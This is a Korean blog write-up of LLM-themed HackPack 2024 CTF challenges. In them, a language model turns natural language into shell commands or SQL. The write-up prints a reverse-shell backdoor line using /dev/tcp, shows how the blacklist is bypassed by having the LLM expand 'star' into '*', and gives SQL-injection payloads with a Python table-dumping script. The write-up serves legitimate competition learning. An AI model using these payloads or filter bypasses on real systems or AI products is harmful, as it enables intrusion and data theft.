2024 HackPack CTF - LLM edition #4

2024. 4. 19. 18:52CTF

목차

01) REV) A token of your love, ThenanoGPT

02) WEB) pixel-bot, LLPM

03) WEB) YellowDog-1, YellowDog 2, Long Horn 1, Long Horn 2, Long Horn mp3

04) PWN) nl2sh 1, nl2sh 2 / INJECTION) Super Spy


PWN) nl2sh 1 (100 pts)

nl2sh 1

nc로 접속하면 ctfuser계정의 쉘을 준다. 명령어를 입력하면 언어모델이 학습한대로 명령어로 해석한 뒤 실행시킨다.

-나 *같은 문자들이 명령어에 포함되면 보안 목적으로 차단된다.

LLM이 상당히 똑똑해서... A만 입력했는데도 페이로드로 완성해서 flag를 출력해주었다.

flag

flag{g17T1N6_s4r7Ed}

PWN) nl2sh 2 (100 pts)

nl2sh 2

1번보단 조금 더 어려웠다.

-도 명령어에 포함할 수 없었기 때문에 lsal을 입력하여 파일 목록을 출력시켰다.

cd로 디렉토리를 이동시키다가 root 디렉토리에서 flag.txt파일과 notes.txt 파일을 확인할 수 있었다.

flag.txt를 읽으려는 명령어를 작성했는데 실패했다. 명령어가 정상 입력이 되어도 flag.txt가 포함되면 출력이 되지 않는 것 같았다.

.*같은 문자열로 대체하려고 해도 문자가 블랙리스트 필터링되어있었기 때문에 입력할 수 없었다.

 

대신 notes.txt의 내용은 확인할 수 있었다.

notes.txt

내용을 확인한 결과 디버깅 스크립트가 남겨져있다는 힌트처럼 보였다.

debug 디렉토리에서 debug.sh를 확인할 수 있었는데, 내용을 보니 일종의 리버스쉘 백도어 쉘스크립트처럼 보였다.

debug.sh

/bin/bash -c "exec 5<>/dev/tcp/$HOST/$PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"

 

$HOST와 $PORT는 유저권한에서도 환경변수 세팅을 통해 설정할 수 있었기 때문에 로컬 컴퓨터에 포트를 열어놓고 쉘스크립트를 실행시키려고 했다. HOST를 설정할 때 IP입력이 어떻게 해도 정상적으로 되지 않아서 여러번 시도했다.

 

그러다 *대신 star를 입력하니 언어모델이 알아서 *로 변경하여 명령어를 입력해줬다.

이 방법으로 바로 flag를 획득할 수 있었다.

 

살짝은 허무했지만 꽤 좋은 공격스크립트를 획득한 것 같아서 블로그에 기록으로 남겨두었다.

 

flag

flag{p3rm1ss10n_3xpl0it@t!0n}

INJECTION) Super Spy (250 pts)

Super Spy

프롬프트에 입력을 하면 LLM이 쿼리문으로 변환해서 실행된 명령을 출력해준다.

에러가 발생할 경우 에러문과 입력된 쿼리문을 출력시켜준다.

sql injection을 통해 해결해야하는 문제라는걸 알아챌 수 있었다.

(* 현재 문제 서버의 데이터베이스가 삭제된 것으로 보여 캡쳐해둔 flag출력 화면 외에는 다른 출력 예시들을 캡쳐하기 어려웠다. 모두 설명으로 대체한다.)

 

_나 %같은 와일드카드 문자 등이 필터링된다.

_같은 경우 chr(95)등을 사용하여 우회를 할 수 있었지만 %같은 경우엔 사용하지 못하도록 변환된 쿼리문이나 출력단에도 필터링이 되어있었던 것 같다.

(실제로 문제를 푼 후에 테스팅했던 결과 값에 CTF가 들어있던 컬럼명을 구해 해당 컬럼 중 CTF값을 가진 테이블의 내용들을 출력하려고 했을 때나, flag가 있었던 컬럼에서 like를 사용하여 flag를 검색하려고 했을 떄 쿼리문이 맞게 작성된 것 같음에도 출력이 되지 않았다.)

 

기본적으로 여러가지를 테스팅해보았을때 rankings를 계속 자동으로 테이블명 위치에 넣는 것을 통해 rankings 테이블이 있다는 것을 확인할 수 있었다.

 

아래의 공격문은 rankings 테이블의 컬럼명들을 확인하기 위해 작성하였다.

한번에 결과를 5개까지만 출력해주었기 때문에 알파벳을 아스키코드로 변환하여 모든 컬럼명들을 추출하였다.

컬럼명들만 봤을 땐 어떤 컬럼에 flag가 있을지 확신하기 어려웠다.

그 중 entry_id라는 컬럼이 가장 처음에 저장되는 번호로, 순서대로 매겨지는 Primary Key역할을 한다는 것을 알게되었다.

"select column name from information-schema.columns where table"+chr(95)+"name=rankings"

 

역시나 결과를 5개까지만 출력해주었기 때문에 하나씩 차례대로 확인해보려고 하였으나, 테이블 내에 값이 5천개 이상인 것으로 보여 5개씩 전부 확인하기는 어려웠다.

 

따라서 테이블 값들을 확인할 수 있었던 공격문  "from rankings where entry"+chr(95)+"id" >0 을 기반으로 응답값들을 받아오는 파이썬 코드를 작성하였다. 받아온 응답들 중에서 517번에 flag가 포함된 결과가 있었다.

#!/usr/bin/env/python3

import requests

url = 'https://superspy.cha.hackpack.club'
f = open('dump.txt', "w+")

for i in range(0, 5665, 5):
    data = {
        'text': '"from rankings where entry"+chr(95)+"id" >'+ str(i)
    }
    print(data)
    response = requests.post(url, data=data)
    result = (response.text[response.text.find('<p class="lead mb-4">')+21:response.text.find('<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.8/dist/umd/popper.min.js')])
    f.write(data['text'] + "\n")
    f.write(result + "\n")

f.close()

 

따라서 다음과 같은 공격문으로 flag를 획득할 수 있다.

"from rankings where entry"+chr(95)+"id" =517

flag

flag{X18H2S912HS12798GS1297SG1278GS8127SG128SG1287SG12}